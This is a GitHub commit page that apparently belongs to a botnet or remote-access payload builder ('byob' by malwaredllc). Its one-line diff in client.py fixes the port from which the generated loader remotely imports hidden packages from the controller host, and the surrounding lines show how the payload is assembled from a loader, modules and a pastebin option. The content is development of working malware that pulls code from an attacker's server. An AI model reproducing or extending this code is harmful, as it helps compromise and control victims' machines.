Skip to content

Commit

Permalink
Fixed bug in client.py causing loader to attempt to remotely import p…
Browse files Browse the repository at this point in the history
…ackages from the wrong port number
  • Loading branch information
malwaredllc committed Oct 13, 2018
1 parent 73dc924 commit 8a65768
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion byob/client.py
Original file line number Diff line number Diff line change
Expand Up @@ -277,7 +277,7 @@ def _payload(options, **kwargs):
assert 'modules' in kwargs, "missing keyword argument 'modules'"
assert 'imports' in kwargs, "missing keyword argument 'imports'"

loader = '\n'.join((open('core/loader.py','r').read(), generators.loader(host=options.host, port=options.port, packages=list(kwargs['hidden']))))
loader = '\n'.join((open('core/loader.py','r').read(), generators.loader(host=options.host, port=options.port+2, packages=list(kwargs['hidden']))))
modules = '\n'.join(([open(module,'r').read().partition('# main')[2] for module in kwargs['modules']] + [generators.main('Payload', **{"host": options.host, "port": options.port, "pastebin": options.pastebin if options.pastebin else str()}) + '_payload.run()']))
payload = '\n'.join((loader, modules))

Expand Down

0 comments on commit 8a65768

Please sign in to comment.